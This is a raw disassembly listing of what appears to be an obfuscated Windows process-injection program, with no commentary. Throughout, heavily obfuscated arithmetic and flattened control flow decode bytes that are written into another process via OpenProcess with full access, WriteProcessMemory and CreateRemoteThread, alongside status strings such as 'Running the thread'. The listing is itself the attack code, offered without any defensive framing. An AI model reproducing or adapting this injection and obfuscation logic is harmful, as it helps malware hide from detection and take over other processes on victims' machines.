xor r9d, 0x8eefaedc
xor edi, 0x54b6100b
or ebx, r10d
mov esi, ebx
not esi
and esi, edi
xor ebx, edi
xor ebx, esi
mov rdx, r11
mov edi, edx
and edi, 0x22008c38
mov esi, edx
mov r10, r11
xor esi, 0x2149c5c
and esi, ecx
and ecx, 0x44543246
or ecx, edi
xor ecx, 0x4df73246
mov edx, r8d
and edx, 0x6ff7be7e
xor edx, 0x61101022
or edx, ecx
mov ecx, r8d
xor r8d, 0x6a2c8dff
and r8d, r9d
or eax, 0x1bbcdddc
or ecx, 0x1b3cdcdc
xor ecx, 0x7b3cddff
or r8d, ecx
mov ecx, eax
and ecx, 0x227c88b0
and r10d, 0x44002202
add ecx, r10d
add ecx, 0x10100
xor ecx, esi
xor eax, 0x9b3fdcdd
and eax, esi
mov esi, edx
or eax, ecx
xor eax, r8d
mov ecx, eax
xor ecx, 0x82be8891
xor eax, 0x7d41776e
mov edi, eax
or edi, edx
or edx, 0x90084181
and edx, ecx
xor esi, 0x6ff7be7e
and eax, esi
mov esi, edi
or esi, 0x90084181
or eax, edx
mov ecx, esi
and ecx, 0x666162ec
and edi, 0x9969c12
or edi, ecx
xor edi, eax
xor edi, 0x6ff7fefe
not esi
and esi, eax
or esi, edi
xor esi, ebx
mov r8d, dword [rbp - 0x64]
mov eax, dword [rbp - 0x60]
and eax, r8d
or r14d, eax
mov eax, r14d
mov ecx, r14d
mov edx, r14d
mov ebx, dword [rbp - 0x68]
xor r14d, ebx
not ebx
not eax
mov edi, r8d
and edi, 0x42404204
and eax, ebx
and ebx, 0x342204fa
add ebx, edi
add ebx, 0x19d2001
mov edi, r8d
and edi, 0x899db901
xor edi, ebx
and ecx, 0x766246fe
or ecx, 0x80999101
and edx, 0x899db901
xor edx, edi
xor edx, ecx
or r14d, eax
mov eax, edx
xor eax, 0x4ad94a05
or eax, r14d
xor r14d, edx
xor r14d, 0xb526b5fa
and r14d, eax
mov ecx, r14d
and ecx, 0x52a2f1f2
or ecx, 0x4040000
mov eax, r14d
and eax, 0xad5d0e0d
xor eax, ecx
mov r8d, esi
mov edi, esi
mov edx, eax
and edx, 0xfd183e15
xor edx, 0x4000000
mov r9d, eax
xor r9d, 0xf91c3e15
or r9d, edx
mov ebx, esi
mov edx, esi
not edx
xor edi, 0x64183e14
and edi, edx
and ebx, 0xf1000004
and edx, 0xc183e11
or edx, ebx
mov ebx, eax
xor ebx, 0xfbfbffff
and ebx, esi
xor eax, esi
and r8d, 0x2e7c1ea
xor esi, 0x2c28022
and esi, r8d
not r8d
and r8d, 0x9bc28023
or esi, r8d
mov ecx, edx
or ecx, 0x643d7fdc
xor ecx, 0x6effffff
and edi, 0xfd183e15
or edi, ecx
xor edi, esi
mov ecx, edx
xor ecx, 0xf1000004
mov esi, ecx
and esi, 0x81082a11
and edx, 0x7c101404
or edx, esi
xor edx, 0x8d183e11
and edx, ecx
mov ecx, r14d
xor ecx, 0x15180005
and ecx, r14d
or edx, edi
mov edi, r14d
not edi
and ecx, 0xfd183e15
and r14d, 0x15180005
or r14d, 0x88413e10
xor r14d, ecx
mov ecx, r9d
or edi, r9d
and r9d, 0x17bec1a5
and ecx, 0xe8413e5a
or ecx, 0x158cc105
xor r14d, r9d
xor r14d, ecx
mov ecx, edi
or ecx, 0x2e7c1ea
mov esi, ecx
and esi, 0xb8b89796
and edi, 0x45002801
or edi, esi
xor edi, r14d
xor r14d, 0x9d083e15
xor edi, 0x9f8abf7d
or r14d, ecx
not r14d
or r14d, edi
mov ecx, edx
mov edi, r14d
and edi, 0xfca214ea
or edi, 0x20ccb14
and r14d, 0x35deb15
xor r14d, edi
mov edi, r14d
xor edi, 0xfeaedffe
xor edx, 0x35deb15
and edx, edi
xor ecx, 0xfca214ea
xor r14d, 0x1512001
and r14d, ecx
or r14d, edx
mov ecx, eax
xor ecx, ebx
xor eax, 0xfbfbffff
and eax, ebx
xor ecx, 0xfbfbffff
or eax, ecx
mov ecx, eax
not ecx
and ecx, r14d
xor eax, r14d
xor eax, ecx
not al
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
test eax, eax
setne byte [rbp - 0x17]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x51c2938a
mov ecx, 0x9708242f
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x51c2938a
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge r9b
setl cl
mov edx, ecx
xor dl, r8b
or r9b, r8b
mov ebx, edx
and bl, r9b
and al, cl
xor al, bl
xor dl, 1
or cl, r8b
and cl, r9b
and cl, dl
mov r8d, ecx
xor r8b, al
mov edx, r8d
not dl
mov ebx, eax
not bl
and bl, cl
or bl, dl
xor cl, 1
or cl, al
xor bl, cl
test bl, 1
mov eax, 0xf341d8c7
mov edx, 0x99a71c2b
cmovne eax, edx
test r8b, r8b
mov edx, 0x99a71c2b
cmovne edx, eax
test cl, cl
cmove edx, eax
test bl, 1
mov rax, qword [rbp - 0x28]
mov eax, 0xf341d8c7
cmovne edx, eax
mov eax, edx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
and dl, al
xor cl, al
mov eax, ecx
xor al, dl
mov ebx, 0x6b9d02e5
mov edi, 0x2f40cb1a
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
test dl, dl
cmove eax, ebx
jmp 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or dl, r8b
and dl, al
and cl, bl
or bl, r8b
xor bl, cl
xor bl, dl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, cl
test bl, 1
mov eax, 0xc3a7c1df
mov edx, 0x444cbbd6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, 0xe1c5e555
jmp 0x140001070
mov eax, 0x3b32ac56
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb1b2b7f6
mov ecx, 0x4838a86
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov r9d, dword [rbp + 0x1c]
mov r8d, r9d
not r8d
mov ecx, r9d
and ecx, 0x35f138b
mov eax, r9d
xor eax, 0x21c1308
and eax, ecx
not ecx
mov edx, ecx
and edx, 0x421c5b18
or eax, edx
mov ebx, r9d
and ebx, 0x20004010
or ebx, 0x100008
mov edx, r9d
and edx, 0x9ca0a464
or edx, 0x22414310
xor edx, ebx
xor edx, eax
mov eax, r9d
and eax, 0xaca02830
and ecx, 0x5114c64c
or eax, 0x1140208
or ecx, 0xaca02830
xor ecx, eax
mov eax, r9d
xor eax, 0x35f138b
or eax, ecx
mov ecx, edx
xor ecx, 0x63120b8b
xor edx, eax
xor edx, 0x63120b8b
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x35f138b
mov edx, ecx
xor edx, 0xa2fcf943
and edx, eax
mov eax, ecx
and eax, 0xa1a3eac8
or eax, 0xe040020
xor eax, edx
mov ebx, eax
xor ebx, 0xa0a0e840
xor ecx, 0xa0a0e840
and ecx, edx
or ecx, ebx
and eax, 0x5e5c1537
and ecx, 0xa1a3eac8
or ecx, eax
mov eax, ecx
or eax, 0x1eb7ae67
xor eax, 0xa1004088
mov edx, eax
and edx, 0x25d7cedf
xor edx, ecx
xor ecx, 0x4eefbb70
or ecx, eax
xor edx, 0x2b3064af
and edx, ecx
mov r10d, r9d
and r10d, 0xe1485198
mov eax, r9d
xor eax, 0x1401188
and eax, r10d
mov r15d, r8d
or r15d, eax
or r15d, 0x14012805
and eax, 0xe0084010
and r15d, 0x1541398d
or r15d, eax
mov r11d, r15d
xor r11d, 0xeabec672
mov r14d, edx
mov ebx, edx
and r11d, edx
not edx
mov eax, r15d
or eax, 0x11002804
mov esi, r9d
xor esi, 0xe0405198
and esi, r10d
mov edi, eax
xor edi, 0xf9066c34
and edi, esi
xor esi, eax
xor esi, edi
mov eax, esi
xor eax, 0x6f993cb
xor esi, 0xf9066c34
xor r14d, esi
xor r14d, 0xec4755b9
and r14d, esi
xor ebx, 0xec4755b9
and ebx, eax
or ebx, r14d
mov eax, r15d
xor eax, edx
xor eax, 0x1541398d
xor r15d, 0x1541398d
and r15d, edx
or r11d, r15d
and r15d, eax
and eax, edx
xor r11d, eax
or r15d, r11d
mov eax, r15d
mov edx, ebx
mov edi, r15d
not r15d
and r15d, ebx
xor ebx, 0x49d593f0
xor eax, 0xb62a6c0f
xor edx, 0xb62a6c0f
and edx, eax
xor edi, 0x49d593f0
and edi, ebx
or r15d, edi
or r15d, edx
mov eax, r15d
not eax
mov ecx, r15d
xor ecx, 0x21080118
and ecx, eax
mov edx, r15d
and edx, 0x1eb7ae67
mov ebx, r15d
and ebx, 0x40081010
and eax, 0xa1404188
lea edi, [rbx + rax]
add edi, 0x4028242
mov ebx, edi
xor ebx, 0xbbf56dad
mov eax, edi
xor eax, 0x98dacc95
and eax, ebx
and ecx, 0xe1485198
mov esi, eax
and esi, 0xed5853db
xor esi, ecx
and ecx, eax
or ecx, esi
and r15d, 0x227a020
or r15d, ecx
xor edi, 0x440a9252
mov eax, edi
and eax, 0x40401088
and ebx, 0xa3294d15
or ebx, eax
or edi, edx
xor ebx, edx
xor ebx, 0x5cd6b2ea
and ebx, edi
mov eax, r15d
xor eax, ebx
xor eax, 0x20228000
xor r15d, 0x20228000
and r15d, ebx
or r15d, eax
or r8d, 0x82d26aa9
mov eax, r8d
and eax, 0xdc3d1572
mov ecx, r9d
and ecx, 0x21008004
or ecx, eax
mov eax, r9d
and eax, 0x801040a0
mov edx, r9d
and edx, 0x2c22a09
or edx, 0x8c111026
xor edx, eax
xor edx, ecx
mov eax, r9d
and eax, 0x2d059002
and r8d, 0xd0b84d55
mov ecx, r9d
and ecx, 0x82d26aa9
or ecx, 0x50280554
add eax, r8d
add eax, 0x24222a8
xor eax, ecx
xor r9d, 0x7d2d9556
or r9d, eax
mov eax, edx
xor eax, 0x2d019002
xor edx, r9d
xor edx, 0x2d019002
or eax, r9d
not eax
or eax, edx
mov r10d, eax
and r10d, 0x38
or r10d, 0x66a75c3
xor r10d, eax
xor r10d, 0x7b47e0bd
mov eax, r10d
and eax, 0x710444de
or eax, 0x6f3b221
and r10d, 0x8efbbb21
xor r10d, eax
mov r13d, r10d
xor r13d, 0xf90c4dde
mov esi, r15d
and esi, 0x20
mov eax, r15d
and eax, 0x18
or eax, 0x8a500107
or esi, 0x102286c8
xor esi, eax
mov eax, esi
xor eax, 0x658d7830
mov ecx, esi
xor ecx, 0x9bc83bbc
and ecx, eax
mov edx, esi
xor edx, ecx
xor edx, 0x9a40038c
mov eax, esi
xor eax, 0x9a40038c
and eax, ecx
or eax, edx
and ecx, 0x1babc73
and eax, 0xfe45438c
or eax, ecx
mov ecx, eax
xor ecx, 0x1babc73
mov edx, eax
xor edx, 0xc6ed8c05
and edx, ecx
mov ecx, eax
xor ecx, edx
xor ecx, 0x391273fa
xor eax, 0x391273fa
and eax, edx
or eax, ecx
mov ecx, r15d
and ecx, 0x10
or ecx, 0x9c404428
and r15d, 0x28
xor r15d, ecx
mov edi, r15d
or edi, 0x38a8cf89
xor edi, 0x84400020
mov ecx, r15d
xor ecx, 0x4317305e
or ecx, edi
xor edi, r15d
xor edi, 0xa4e88ba1
and edi, ecx
xor r10d, 0x38084d88
and r10d, r13d
mov ecx, edi
not ecx
mov r9d, ecx
and r9d, 0x9fbd7880
mov r12d, ecx
and r12d, 0x811080
mov edx, edi
xor edx, 0xd386800
and edx, r9d
lea r8d, [r12 + 0x8184462]
xor r8d, edx
xor r12d, 0x811080
and r12d, edx
mov r11d, edi
mov r15d, edi
mov r14d, eax
mov edx, eax
xor edi, eax
xor eax, 0x6042877f
xor r8d, 0x6899d5f6
or r12d, r8d
and r11d, 0x40000014
or r11d, 0x8684a03
and r15d, 0x42006a
xor r15d, r11d
mov ebx, r15d
xor ebx, 0x78eddb97
not r12d
and r12d, ebx
xor r15d, 0x5122468
and r15d, r8d
or r9d, 0x931c0800
and r14d, ecx
and ecx, 0x4216080
xor ecx, 0x8ea17080
and ecx, r9d
or ecx, r15d
or ecx, r12d
xor edx, ecx
xor edx, 0x6042877f
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
xor edi, r14d
mov eax, edi
not eax
mov ebx, ecx
and edi, ecx
and ecx, 0x15f4bff8
or ecx, 0x480a4002
and ebx, 0xea0b4007
xor ebx, ecx
mov ecx, ebx
xor ecx, 0x5dfefffa
mov edx, eax
and edx, 0x15f4bff8
and eax, 0xea0b4007
or eax, 0x14801cc8
xor eax, edx
mov edx, eax
xor edx, 0xfe8b5ccf
xor ebx, 0xa2010005
and ebx, edx
xor eax, 0x174a330
and eax, ecx
mov r9d, esi
xor r9d, 0x9a7287cf
mov r15d, r13d
mov r11d, r13d
mov edx, r13d
mov r8d, r13d
mov r12d, r13d
and r9d, r13d
mov r14d, r13d
and r14d, 0xc7573076
or edi, eax
or edi, ebx
and r10d, 0x38a8cf89
or r14d, 0x1000c788
xor r14d, r10d
mov ebx, esi
mov ecx, esi
mov eax, esi
xor esi, r13d
xor r14d, edi
xor r14d, 0xd757f7fe
xor ebx, 0x62c413b3
and r15d, 0xf8b6947c
or r11d, 0x7496b83
xor r15d, 0xc2325c7d
and r15d, r11d
or edx, 0x3fcdeb83
and r8d, 0x2004801
or r8d, 0x45080302
and r12d, 0x5492382
xor r12d, r8d
mov edi, edx
and edi, 0x600e1b0f
and r13d, 0x80300470
or r13d, edi
not edx
and edx, r15d
and r15d, 0xfab6d47c
xor r15d, r13d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r15d, 0xe03e177e
or edx, r15d
xor edx, r12d
and ecx, 0x2000231
xor eax, 0x70160000
and eax, ebx
or eax, ecx
or eax, 0x4010000
xor eax, edx
mov ecx, eax
xor ecx, 0x691fd932
mov edx, esi
xor edx, r9d
xor edx, 0x9a7287cf
xor esi, 0x9a7287cf
and esi, r9d
or esi, edx
mov edx, ecx
and edx, esi
not esi
xor eax, 0x96e026cd
and eax, esi
or edx, eax
and eax, ecx
and ecx, esi
xor edx, ecx
or eax, edx
mov edi, eax
not edi
and edi, r14d
mov edx, eax
and edx, 0x62268c14
and eax, 0x9dd973eb
or eax, 0x22020c14
xor eax, edx
xor eax, r14d
mov edx, eax
xor edx, 0xeb
mov ebx, eax
xor ebx, 0xddfdf3eb
mov ecx, edi
not ecx
and ecx, edx
xor eax, 0x22020c14
and eax, edi
or ecx, eax
and eax, ebx
and ebx, edi
xor ecx, ebx
or eax, ecx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x650edf55
mov ecx, 0xed8fe04c
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x650edf55
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
or dl, al
mov ebx, ecx
xor bl, al
xor dl, bl
and cl, al
mov eax, ecx
xor al, dl
mov eax, 0xdab3f187
mov edi, 0xf33c5637
cmovne eax, edi
test dl, dl
mov edx, 0xdab3f187
cmovne eax, edx
test cl, cl
cmove eax, edi
test bl, bl
cmovne eax, edx
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov r8d, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete dl
cmp r8d, 0xa
setl al
xor dl, al
mov ecx, edx
xor cl, 1
mov ebx, eax
and bl, sil
or bl, cl
or al, sil
and al, dl
movzx edi, bl
movzx ebx, dl
mov edx, ebx
cmovne edx, edi
mov ecx, edi
xor cl, 1
and cl, al
xor cl, dl
mov eax, 0x4f0c89a2
mov ecx, 0x14495faa
cmovne eax, ecx
test esi, esi
mov ecx, 0x14495faa
cmove ecx, eax
cmp r8d, 0xa
cmovl ecx, eax
xor bl, dil
mov eax, 0x4f0c89a2
cmove ecx, eax
cmp r8d, 0xa
mov eax, 0x4f0c89a2
cmovl eax, ecx
test esi, esi
cmovne eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Unable_to_allocate_memory_...__n
call fcn.140011390
add rsp, 0x20
mov eax, 0x4f0c89a2
jmp 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov ecx, ebx
xor cl, r8b
or dl, r8b
and dl, cl
mov r9d, ecx
xor r9b, 1
and al, bl
or al, r9b
xor al, cl
xor al, 1
or dl, al
and bl, r8b
xor bl, 1
or bl, cl
xor dl, bl
not bl
and bl, al
xor bl, dl
test bl, 1
mov eax, 0x938f561d
mov ecx, 0xadc9776d
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xaf78cdf0
jmp 0x140001070
mov eax, 0x3c6e5b96
jmp 0x140001070
mov eax, 0x69b098ff
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b81849f
mov ecx, 0x3c8f6008
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x80cd34e6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe78b49f4
mov ecx, 0x1e928e9b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x2ce3ff84
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
mov ebx, ecx
and bl, al
or cl, al
xor dl, 1
or bl, dl
and cl, bl
xor bl, cl
mov eax, ebx
not al
not cl
and cl, dl
or cl, al
xor cl, bl
test cl, 1
mov eax, 0xaf9baa98
mov ecx, 0x52378b69
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x830a41d8
mov ecx, 0xad024ef7
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov r11d, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
sete r10b
cmp r11d, 0xa
setge bl
setl cl
mov r8d, ecx
xor r8b, r10b
mov eax, ecx
or al, r10b
xor al, r8b
and cl, r10b
mov r9d, ecx
xor r9b, al
mov edx, r8d
xor dl, 1
and bl, r10b
or bl, dl
xor bl, r8b
test r9b, r9b
mov edx, 0x95edaf8f
mov r9d, 0xdb809f40
cmovne edx, r9d
test al, al
mov edi, 0x95edaf8f
cmovne edx, edi
test cl, cl
cmove edx, r9d
test bl, bl
cmove edx, edi
test sil, 1
mov eax, 0x95edaf8f
cmove eax, edx
cmp r11d, 0xa
cmovl eax, edi
test r8b, r8b
cmove eax, edx
jmp 0x140001070
mov eax, 0x15dfc31f
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2955efff
mov ecx, 0xaaefc8f2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x778ddc75
mov ecx, 0x6a8e8dae
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x708e057b
mov ecx, 0x334fe187
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
or dl, al
xor cl, al
xor dl, cl
and dl, al
mov eax, edx
xor al, 1
or al, cl
xor cl, dl
and al, cl
xor al, dl
mov eax, 0xb8616988
mov ecx, 0xdf70dbbd
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl r9b
mov ebx, r9d
xor bl, r8b
mov eax, ebx
xor al, 1
and cl, r9b
or cl, al
xor cl, bl
and dl, r8b
mov eax, edx
xor al, cl
xor dl, 1
or dl, cl
and dl, al
and r9b, r8b
mov eax, r9d
xor al, dl
test al, 1
mov eax, 0x5aa95704
mov ecx, 0x81959faf
cmovne eax, ecx
test dl, 1
mov ecx, 0x5aa95704
cmovne ecx, eax
test r9b, r9b
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x38]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7a2b7bcc
mov ecx, 0xbdecd223
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd9827ff8
mov ecx, 0x363d110b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6559b9fd
mov ecx, 0xb4ecf387
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl r9b
mov edx, r9d
xor dl, r8b
mov eax, edx
xor al, 1
mov ebx, r9d
and bl, cl
or bl, al
xor bl, dl
or cl, r9b
and cl, bl
mov eax, ebx
not al
movzx eax, al
movzx ecx, cl
test r9b, r8b
cmovne ecx, eax
test cl, 1
mov eax, 0x805f73a5
mov ecx, 0x3726f04
cmovne eax, ecx
test bl, bl
mov ecx, 0x805f73a5
cmovne ecx, eax
test r9b, r8b
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl al
mov ebx, eax
and cl, al
xor al, r8b
or bl, r8b
or dl, r8b
and dl, al
xor cl, dl
or cl, al
mov edx, ebx
xor dl, cl
test cl, cl
mov ecx, 0xe134ef
mov edi, 0x28ef576
cmovne ecx, edi
test bl, bl
mov ebx, 0xe134ef
cmovne ecx, ebx
test dl, dl
cmove ecx, edi
test al, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x208fbd61
mov ecx, 0x1048f023
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x98c8805
mov ecx, 0xa6886d33
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf142d661
mov ecx, 0xaea39648
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xf142d661
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xc9d03803
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Enable_to_retrieve_process_handle_..._n
call fcn.140011390
add rsp, 0x20
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl al
mov ecx, edx
or cl, al
xor al, r8b
and bl, r8b
xor bl, al
xor al, 1
or cl, al
mov eax, ecx
xor al, bl
mov eax, 0x9f1879be
mov esi, 0x5fe080d8
cmovne eax, esi
test cl, cl
mov ecx, 0x9f1879be
cmovne ecx, eax
test bl, bl
cmove ecx, eax
test edx, edx
mov eax, ecx
mov edx, 0x9f1879be
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbeeb4807
mov ecx, 0xb2f40a2c
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xbeeb4807
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8d40fce8
mov ecx, 0xa85df6b9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xba197232
jmp 0x140001070
mov eax, 0x80abbc60
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfbd46d31
mov ecx, 0x5e98e102
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xfbd46d31
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6cad0be6
mov ecx, 0x9f792270
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x6cad0be6
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov eax, 0xe59d4ae9
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
